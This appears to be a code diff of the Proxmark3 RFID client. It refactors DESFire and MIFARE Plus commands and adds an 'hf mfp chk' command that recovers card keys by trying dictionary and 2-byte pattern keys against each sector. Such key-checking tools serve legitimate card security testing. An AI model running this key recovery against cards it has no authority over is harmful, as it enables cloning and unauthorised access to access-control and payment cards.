PrintAndLogEx(NORMAL, "-- Desfire Information --------------------------------------"); PrintAndLogEx(NORMAL, "-- Desfire Information --------------------------------------");
@ -82,7 +82,7 @@ static int CmdHF14ADesInfo(const char *Cmd) {
uint8_t data[1] = {GET_FREE_MEMORY}; uint8_t data[1] = {GET_FREE_MEMORY};
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, (INIT | DISCONNECT), 0x01, 0, data, sizeof(data)); SendCommandOLD(CMD_HF_DESFIRE_COMMAND, (INIT | DISCONNECT), 0x01, 0, data, sizeof(data));
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500))
return 0; return PM3_ETIMEOUT;
uint8_t tmp[3]; uint8_t tmp[3];
memcpy(tmp, resp.data.asBytes + 3, 3); memcpy(tmp, resp.data.asBytes + 3, 3);
@ -105,7 +105,7 @@ static int CmdHF14ADesInfo(const char *Cmd) {
*/ */
return 1; return PM3_SUCCESS;
} }
/* /*
@ -189,10 +189,12 @@ void getKeySettings(uint8_t *aid) {
PrintAndLogEx(NORMAL, " [0x02] Directory list access with CMK : %s", str); PrintAndLogEx(NORMAL, " [0x02] Directory list access with CMK : %s", str);
str = (resp.data.asBytes[3] & (1 << 0)) ? "YES" : "NO"; str = (resp.data.asBytes[3] & (1 << 0)) ? "YES" : "NO";
PrintAndLogEx(NORMAL, " [0x01] CMK is changeable : %s", str); PrintAndLogEx(NORMAL, " [0x01] CMK is changeable : %s", str);
{ {
uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64 uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) { return; } if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) { return; }
isOK = resp.oldarg[0] & 0xff; isOK = resp.oldarg[0] & 0xff;
if (!isOK) { if (!isOK) {
@ -206,24 +208,27 @@ void getKeySettings(uint8_t *aid) {
{ {
uint8_t data[2] = {AUTHENTICATE, 0}; // 0x0A, KEY 0 uint8_t data[2] = {AUTHENTICATE, 0}; // 0x0A, KEY 0
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;}
isOK = resp.data.asBytes[2] & 0xff; isOK = resp.data.asBytes[2] & 0xff;
PrintAndLogEx(NORMAL, " [0x0A] Authenticate : %s", (isOK == 0xAE) ? "NO" : "YES"); PrintAndLogEx(NORMAL, " [0x0A] Authenticate : %s", (isOK == 0xAE) ? "NO" : "YES");
{ {
uint8_t data[2] = {AUTHENTICATE_ISO, 0}; // 0x1A, KEY 0 uint8_t data[2] = {AUTHENTICATE_ISO, 0}; // 0x1A, KEY 0
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;}
isOK = resp.data.asBytes[2] & 0xff; isOK = resp.data.asBytes[2] & 0xff;
PrintAndLogEx(NORMAL, " [0x1A] Authenticate ISO : %s", (isOK == 0xAE) ? "NO" : "YES"); PrintAndLogEx(NORMAL, " [0x1A] Authenticate ISO : %s", (isOK == 0xAE) ? "NO" : "YES");
{ {
uint8_t data[2] = {AUTHENTICATE_AES, 0}; // 0xAA, KEY 0 uint8_t data[2] = {AUTHENTICATE_AES, 0}; // 0xAA, KEY 0
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;} if (!WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {return;}
isOK = resp.data.asBytes[2] & 0xff; isOK = resp.data.asBytes[2] & 0xff;
PrintAndLogEx(NORMAL, " [0xAA] Authenticate AES : %s", (isOK == 0xAE) ? "NO" : "YES"); PrintAndLogEx(NORMAL, " [0xAA] Authenticate AES : %s", (isOK == 0xAE) ? "NO" : "YES");
@ -237,7 +242,7 @@ void getKeySettings(uint8_t *aid) {
{ {
uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a
memcpy(data + 1, aid, 3); memcpy(data + 1, aid, 3);
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | CLEARTRACE, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | CLEARTRACE, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(WARNING, " Timed-out"); PrintAndLogEx(WARNING, " Timed-out");
@ -252,8 +257,9 @@ void getKeySettings(uint8_t *aid) {
// KEY SETTINGS // KEY SETTINGS
{ {
uint8_t data[1] = {GET_KEY_SETTINGS}; // 0x45 uint8_t data[1] = {GET_KEY_SETTINGS}; // 0x45
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
return; return;
} }
@ -294,8 +300,9 @@ void getKeySettings(uint8_t *aid) {
// KEY VERSION - AMK // KEY VERSION - AMK
{ {
uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64 uint8_t data[2] = {GET_KEY_VERSION, 0}; // 0x64
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(WARNING, " Timed-out"); PrintAndLogEx(WARNING, " Timed-out");
return; return;
@ -318,11 +325,10 @@ void getKeySettings(uint8_t *aid) {
// LOOP over numOfKeys that we got before. // LOOP over numOfKeys that we got before.
// From 0x01 to numOfKeys. We already got 0x00. (AMK) // From 0x01 to numOfKeys. We already got 0x00. (AMK)
// TODO (iceman) // TODO (iceman)
for (int i = 0x01; i <= 0x0f; ++i) { /*
for (int i = 0x01; i <= 0x0f; ++i) {
} }
*/
} }
} }
@ -333,17 +339,18 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) {
uint8_t aid[3]; uint8_t aid[3];
{ {
uint8_t data[1] = {GET_APPLICATION_IDS}; //0x6a uint8_t data[1] = {GET_APPLICATION_IDS}; //0x6a
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT | DISCONNECT, sizeof(data), 0, data, sizeof(data));
} }
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
return 0; return PM3_ETIMEOUT;
} }
isOK = resp.oldarg[0] & 0xff; isOK = resp.oldarg[0] & 0xff;
if (!isOK) { if (!isOK) {
PrintAndLogEx(NORMAL, "Command unsuccessful"); PrintAndLogEx(NORMAL, "Command unsuccessful");
return 0; return PM3_ESOFT;
} }
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "-- Desfire Enumerate Applications ---------------------------"); PrintAndLogEx(NORMAL, "-- Desfire Enumerate Applications ---------------------------");
@ -368,7 +375,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) {
{ {
uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a uint8_t data[4] = {SELECT_APPLICATION}; // 0x5a
memcpy(data + 1, &resp.data.asBytes[i], 3); memcpy(data + 1, &resp.data.asBytes[i], 3);
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, INIT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, INIT, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &respAid, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &respAid, 1500)) {
@ -384,7 +391,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) {
// Get File IDs // Get File IDs
{ {
uint8_t data[1] = {GET_FILE_IDS}; // 0x6f uint8_t data[1] = {GET_FILE_IDS}; // 0x6f
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, NONE, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) {
@ -405,7 +412,7 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) {
// Get ISO File IDs // Get ISO File IDs
{ {
uint8_t data[1] = {GET_ISOFILE_IDS}; // 0x61 uint8_t data[1] = {GET_ISOFILE_IDS}; // 0x61
SendCommandOLD(CMD_HF_DESFIRE_COMMAND, DISCONNECT, sizeof(data), 0, data, sizeof(data)); SendCommandMIX(CMD_HF_DESFIRE_COMMAND, DISCONNECT, sizeof(data), 0, data, sizeof(data));
} }
if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &respFiles, 1500)) {
@ -422,13 +429,9 @@ static int CmdHF14ADesEnumApplications(const char *Cmd) {
} }
} }
} }
} }
PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); PrintAndLogEx(NORMAL, "-------------------------------------------------------------");
return PM3_SUCCESS;
return 1;
} }
// MIAFRE DesFire Authentication // MIAFRE DesFire Authentication
@ -456,7 +459,7 @@ static int CmdHF14ADesAuth(const char *Cmd) {
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf mfdes auth 1 1 0 11223344"); PrintAndLogEx(NORMAL, " hf mfdes auth 1 1 0 11223344");
PrintAndLogEx(NORMAL, " hf mfdes auth 3 4 0 404142434445464748494a4b4c4d4e4f"); PrintAndLogEx(NORMAL, " hf mfdes auth 3 4 0 404142434445464748494a4b4c4d4e4f");
return 0; return PM3_SUCCESS;
} }
uint8_t cmdAuthMode = param_get8(Cmd, 0); uint8_t cmdAuthMode = param_get8(Cmd, 0);
uint8_t cmdAuthAlgo = param_get8(Cmd, 1); uint8_t cmdAuthAlgo = param_get8(Cmd, 1);
@ -466,25 +469,24 @@ static int CmdHF14ADesAuth(const char *Cmd) {
case 1: case 1:
if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2) { if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2) {
PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode");
return 1; return PM3_EINVARG;
} }
break; break;
case 2: case 2:
if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2 && cmdAuthAlgo != 3) { if (cmdAuthAlgo != 1 && cmdAuthAlgo != 2 && cmdAuthAlgo != 3) {
PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode");
return 1; return PM3_EINVARG;
} }
break; break;
case 3: case 3:
if (cmdAuthAlgo != 4) { if (cmdAuthAlgo != 4) {
PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode"); PrintAndLogEx(NORMAL, "Crypto algo not valid for the auth mode");
return 1; return PM3_EINVARG;
} }
break; break;
default: default:
PrintAndLogEx(WARNING, "Wrong Auth mode"); PrintAndLogEx(WARNING, "Wrong Auth mode");
return 1; return PM3_EINVARG;
break;
} }
switch (cmdAuthAlgo) { switch (cmdAuthAlgo) {
@ -510,8 +512,9 @@ static int CmdHF14ADesAuth(const char *Cmd) {
// key // key
if (param_gethex(Cmd, 3, key, keylength * 2)) { if (param_gethex(Cmd, 3, key, keylength * 2)) {
PrintAndLogEx(WARNING, "Key must include %d HEX symbols", keylength); PrintAndLogEx(WARNING, "Key must include %d HEX symbols", keylength);
return 1; return PM3_EINVARG;
} }
// algo, keylength, // algo, keylength,
uint8_t data[25] = {keylength}; // max length: 1 + 24 (3k3DES) uint8_t data[25] = {keylength}; // max length: 1 + 24 (3k3DES)
memcpy(data + 1, key, keylength); memcpy(data + 1, key, keylength);
@ -521,22 +524,22 @@ static int CmdHF14ADesAuth(const char *Cmd) {
if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
PrintAndLogEx(WARNING, "Client command execute timeout"); PrintAndLogEx(WARNING, "Client command execute timeout");
return 0; return PM3_ETIMEOUT;
} }
uint8_t isOK = resp.oldarg[0] & 0xff; uint8_t isOK = resp.oldarg[0] & 0xff;
if (isOK) { if (isOK) {
uint8_t *session = resp.data.asBytes; uint8_t *session_key = resp.data.asBytes;
PrintAndLogEx(NORMAL, " Key :%s", sprint_hex(key, keylength)); PrintAndLogEx(NORMAL, " Key :%s", sprint_hex(key, keylength));
PrintAndLogEx(NORMAL, " SESSION :%s", sprint_hex(session, keylength)); PrintAndLogEx(NORMAL, " SESSION :%s", sprint_hex(session_key, keylength));
PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); PrintAndLogEx(NORMAL, "-------------------------------------------------------------");
//PrintAndLogEx(NORMAL, " Expected :B5 21 9E E8 1A A7 49 9D 21 96 68 7E 13 97 38 56"); //PrintAndLogEx(NORMAL, " Expected :B5 21 9E E8 1A A7 49 9D 21 96 68 7E 13 97 38 56");
} else { } else {
PrintAndLogEx(NORMAL, "Client command failed."); PrintAndLogEx(NORMAL, "Client command failed.");
} }
PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); PrintAndLogEx(NORMAL, "-------------------------------------------------------------");
return 1; return PM3_SUCCESS;
} }
@ -553,7 +556,7 @@ static command_t CommandTable[] = {
static int CmdHelp(const char *Cmd) { static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable); CmdsHelp(CommandTable);
return 0; return PM3_SUCCESS;
} }
int CmdHFMFDes(const char *Cmd) { int CmdHFMFDes(const char *Cmd) {

View file

@ -25,14 +25,18 @@
#include "cliparser/cliparser.h" #include "cliparser/cliparser.h"
#include "emv/dump.h" #include "emv/dump.h"
#include "mifare/mifaredefault.h" #include "mifare/mifaredefault.h"
#include "util_posix.h"
#include "fileutils.h"
static const uint8_t DefaultKey[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; static const uint8_t DefaultKey[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001};
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static int CmdHFMFPInfo(const char *cmd) { static int CmdHFMFPInfo(const char *Cmd) {
if (cmd && strlen(cmd) > 0) if (Cmd && strlen(Cmd) > 0)
PrintAndLogEx(WARNING, "command don't have any parameters.\n"); PrintAndLogEx(WARNING, "command don't have any parameters.\n");
// info about 14a part // info about 14a part
@ -88,7 +92,7 @@ static int CmdHFMFPInfo(const char *cmd) {
int datalen = 0; int datalen = 0;
// https://github.com/Proxmark/proxmark3/blob/master/client/luascripts/mifarePlus.lua#L161 // https://github.com/Proxmark/proxmark3/blob/master/client/luascripts/mifarePlus.lua#L161
uint8_t cmd[3 + 16] = {0xa8, 0x90, 0x90, 0x00}; uint8_t cmd[3 + 16] = {0xa8, 0x90, 0x90, 0x00};
int res = ExchangeRAW14a(cmd, sizeof(cmd), false, false, data, sizeof(data), &datalen); int res = ExchangeRAW14a(cmd, sizeof(cmd), false, false, data, sizeof(data), &datalen, false);
if (!res && datalen > 1 && data[0] == 0x09) { if (!res && datalen > 1 && data[0] == 0x09) {
SLmode = 0; SLmode = 0;
} }
@ -105,10 +109,10 @@ static int CmdHFMFPInfo(const char *cmd) {
DropField(); DropField();
return 0; return PM3_SUCCESS;
} }
static int CmdHFMFPWritePerso(const char *cmd) { static int CmdHFMFPWritePerso(const char *Cmd) {
uint8_t keyNum[64] = {0}; uint8_t keyNum[64] = {0};
int keyNumLen = 0; int keyNumLen = 0;
uint8_t key[64] = {0}; uint8_t key[64] = {0};
@ -126,7 +130,7 @@ static int CmdHFMFPWritePerso(const char *cmd) {
arg_strx0(NULL, NULL, "<HEX key (16b)>", NULL), arg_strx0(NULL, NULL, "<HEX key (16b)>", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, true); CLIExecWithReturn(Cmd, argtable, true);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
CLIGetHexWithReturn(2, keyNum, &keyNumLen); CLIGetHexWithReturn(2, keyNum, &keyNumLen);
@ -169,12 +173,10 @@ static int CmdHFMFPWritePerso(const char *cmd) {
} }
PrintAndLogEx(INFO, "Write OK."); PrintAndLogEx(INFO, "Write OK.");
return 0; return PM3_SUCCESS;
} }
uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; static int CmdHFMFPInitPerso(const char *Cmd) {
static int CmdHFMFPInitPerso(const char *cmd) {
int res; int res;
uint8_t key[256] = {0}; uint8_t key[256] = {0};
int keyLen = 0; int keyLen = 0;
@ -193,7 +195,7 @@ static int CmdHFMFPInitPerso(const char *cmd) {
arg_strx0(NULL, NULL, "<HEX key (16b)>", NULL), arg_strx0(NULL, NULL, "<HEX key (16b)>", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, true); CLIExecWithReturn(Cmd, argtable, true);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
bool verbose2 = arg_get_lit(1) > 1; bool verbose2 = arg_get_lit(1) > 1;
@ -245,10 +247,10 @@ static int CmdHFMFPInitPerso(const char *cmd) {
PrintAndLogEx(INFO, "Done."); PrintAndLogEx(INFO, "Done.");
return 0; return PM3_SUCCESS;
} }
static int CmdHFMFPCommitPerso(const char *cmd) { static int CmdHFMFPCommitPerso(const char *Cmd) {
CLIParserInit("hf mfp commitp", CLIParserInit("hf mfp commitp",
"Executes Commit Perso command. Can be used in SL0 mode only.", "Executes Commit Perso command. Can be used in SL0 mode only.",
"Usage:\n\thf mfp commitp -> \n"); "Usage:\n\thf mfp commitp -> \n");
@ -259,7 +261,7 @@ static int CmdHFMFPCommitPerso(const char *cmd) {
arg_int0(NULL, NULL, "SL mode", NULL), arg_int0(NULL, NULL, "SL mode", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, true); CLIExecWithReturn(Cmd, argtable, true);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
CLIParserFree(); CLIParserFree();
@ -286,10 +288,10 @@ static int CmdHFMFPCommitPerso(const char *cmd) {
} }
PrintAndLogEx(INFO, "Switch level OK."); PrintAndLogEx(INFO, "Switch level OK.");
return 0; return PM3_SUCCESS;
} }
static int CmdHFMFPAuth(const char *cmd) { static int CmdHFMFPAuth(const char *Cmd) {
uint8_t keyn[250] = {0}; uint8_t keyn[250] = {0};
int keynlen = 0; int keynlen = 0;
uint8_t key[250] = {0}; uint8_t key[250] = {0};
@ -307,7 +309,7 @@ static int CmdHFMFPAuth(const char *cmd) {
arg_str1(NULL, NULL, "<Key Value (HEX 16 bytes)>", NULL), arg_str1(NULL, NULL, "<Key Value (HEX 16 bytes)>", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, true); CLIExecWithReturn(Cmd, argtable, true);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
CLIGetHexWithReturn(2, keyn, &keynlen); CLIGetHexWithReturn(2, keyn, &keynlen);
@ -324,10 +326,10 @@ static int CmdHFMFPAuth(const char *cmd) {
return 1; return 1;
} }
return MifareAuth4(NULL, keyn, key, true, false, verbose); return MifareAuth4(NULL, keyn, key, true, false, true, verbose, false);
} }
static int CmdHFMFPRdbl(const char *cmd) { static int CmdHFMFPRdbl(const char *Cmd) {
uint8_t keyn[2] = {0}; uint8_t keyn[2] = {0};
uint8_t key[250] = {0}; uint8_t key[250] = {0};
int keylen = 0; int keylen = 0;
@ -347,7 +349,7 @@ static int CmdHFMFPRdbl(const char *cmd) {
arg_str0(NULL, NULL, "<Key Value (HEX 16 bytes)>", NULL), arg_str0(NULL, NULL, "<Key Value (HEX 16 bytes)>", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, false); CLIExecWithReturn(Cmd, argtable, false);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
int blocksCount = arg_get_int_def(2, 1); int blocksCount = arg_get_int_def(2, 1);
@ -391,8 +393,8 @@ static int CmdHFMFPRdbl(const char *cmd) {
if (verbose) if (verbose)
PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockn, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockn, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum);
mf4Session mf4session; mf4Session_t mf4session;
int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false);
if (res) { if (res) {
PrintAndLogEx(ERR, "Authentication error: %d", res); PrintAndLogEx(ERR, "Authentication error: %d", res);
return res; return res;
@ -439,7 +441,7 @@ static int CmdHFMFPRdbl(const char *cmd) {
return 0; return 0;
} }
static int CmdHFMFPRdsc(const char *cmd) { static int CmdHFMFPRdsc(const char *Cmd) {
uint8_t keyn[2] = {0}; uint8_t keyn[2] = {0};
uint8_t key[250] = {0}; uint8_t key[250] = {0};
int keylen = 0; int keylen = 0;
@ -458,7 +460,7 @@ static int CmdHFMFPRdsc(const char *cmd) {
arg_str0(NULL, NULL, "<Key Value (HEX 16 bytes)>", NULL), arg_str0(NULL, NULL, "<Key Value (HEX 16 bytes)>", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, false); CLIExecWithReturn(Cmd, argtable, false);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
bool keyB = arg_get_lit(2); bool keyB = arg_get_lit(2);
@ -490,8 +492,8 @@ static int CmdHFMFPRdsc(const char *cmd) {
if (verbose) if (verbose)
PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum);
mf4Session mf4session; mf4Session_t mf4session;
int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false);
if (res) { if (res) {
PrintAndLogEx(ERR, "Authentication error: %d", res); PrintAndLogEx(ERR, "Authentication error: %d", res);
return res; return res;
@ -532,10 +534,10 @@ static int CmdHFMFPRdsc(const char *cmd) {
} }
DropField(); DropField();
return 0; return PM3_SUCCESS;
} }
static int CmdHFMFPWrbl(const char *cmd) { static int CmdHFMFPWrbl(const char *Cmd) {
uint8_t keyn[2] = {0}; uint8_t keyn[2] = {0};
uint8_t key[250] = {0}; uint8_t key[250] = {0};
int keylen = 0; int keylen = 0;
@ -556,7 +558,7 @@ static int CmdHFMFPWrbl(const char *cmd) {
arg_str0(NULL, NULL, "<Key (HEX 16 bytes)>", NULL), arg_str0(NULL, NULL, "<Key (HEX 16 bytes)>", NULL),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, false); CLIExecWithReturn(Cmd, argtable, false);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
bool keyB = arg_get_lit(2); bool keyB = arg_get_lit(2);
@ -594,8 +596,8 @@ static int CmdHFMFPWrbl(const char *cmd) {
if (verbose) if (verbose)
PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockNum & 0xff, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockNum & 0xff, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum);
mf4Session mf4session; mf4Session_t mf4session;
int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false);
if (res) { if (res) {
PrintAndLogEx(ERR, "Authentication error: %d", res); PrintAndLogEx(ERR, "Authentication error: %d", res);
return res; return res;
@ -634,10 +636,336 @@ static int CmdHFMFPWrbl(const char *cmd) {
DropField(); DropField();
PrintAndLogEx(INFO, "Write OK."); PrintAndLogEx(INFO, "Write OK.");
return 0; return PM3_SUCCESS;
} }
static int CmdHFMFPMAD(const char *cmd) { #define AES_KEY_LEN 16
#define MAX_KEYS_LIST_LEN 1024
int MFPKeyCheck(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB,
uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1],
bool verbose) {
int res;
bool selectCard = true;
uint8_t keyn[2] = {0};
// sector number from 0
for (uint8_t sector = startSector; sector <= endSector; sector++) {
// 0-keyA 1-keyB
for (uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) {
// main cycle with key check
for (int i = 0; i < keyListLen; i++) {
if (i % 10 == 0) {
if (!verbose)
printf(".");
if (kbd_enter_pressed()) {
PrintAndLogEx(WARNING, "\nAborted via keyboard!\n");
DropField();
return PM3_EOPABORTED;
}
}
uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB;
keyn[0] = uKeyNum >> 8;
keyn[1] = uKeyNum & 0xff;
for (int retry = 0; retry < 4; retry++) {
res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true);
if (res != 2)
break;
if (verbose)
PrintAndLogEx(WARNING, "retried[%d]...", retry);
else
printf("R");
DropField();
selectCard = true;
msleep(100);
}
if (verbose)
PrintAndLogEx(WARNING, "sector %02d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res);
// key for [sector,keyAB] found
if (res == 0) {
if (verbose)
PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16));
else
printf("+");
foundKeys[keyAB][sector][0] = 0x01;
memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN);
DropField();
selectCard = true;
msleep(50);
break;
}
// 5 - auth error (rnd not equal)
if (res != 5) {
if (verbose)
PrintAndLogEx(ERR, "Exchange error. Aborted.");
else
printf("E");
DropField();
return PM3_ECARDEXCHANGE;
}
selectCard = false;
}
}
}
DropField();
return PM3_SUCCESS;
}
void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyListLen, uint32_t *startPattern) {
for (uint32_t pt = *startPattern; pt < 0x10000; pt++) {
keyList[*keyListLen][0] = (pt >> 8) & 0xff;
keyList[*keyListLen][1] = pt & 0xff;
memcpy(&keyList[*keyListLen][2], &keyList[*keyListLen][0], 2);
memcpy(&keyList[*keyListLen][4], &keyList[*keyListLen][0], 4);
memcpy(&keyList[*keyListLen][8], &keyList[*keyListLen][0], 8);
(*keyListLen)++;
*startPattern = pt;
if (*keyListLen == MAX_KEYS_LIST_LEN)
break;
}
(*startPattern)++;
}
static int CmdHFMFPChk(const char *Cmd) {
int res;
uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}};
size_t keyListLen = 0;
uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {{{0}}};
CLIParserInit("hf mfp chk",
"Checks keys with Mifare Plus card.",
"Usage:\n"
" hf mfp chk -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n"
" hf mfp chk -s 2 -a -> check default key list on sector 2, key A\n"
" hf mfp chk -d mfp_default_keys -s0 -e6 -> check keys from dictionary against sectors 0-6\n"
" hf mfp chk --pattern1b -j keys -> check all 1-byte keys pattern and save found keys to json\n"
" hf mfp chk --pattern2b --startp2b FA00 -> check all 2-byte keys pattern. Start from key FA00FA00...FA00\n");
void *argtable[] = {
arg_param_begin,
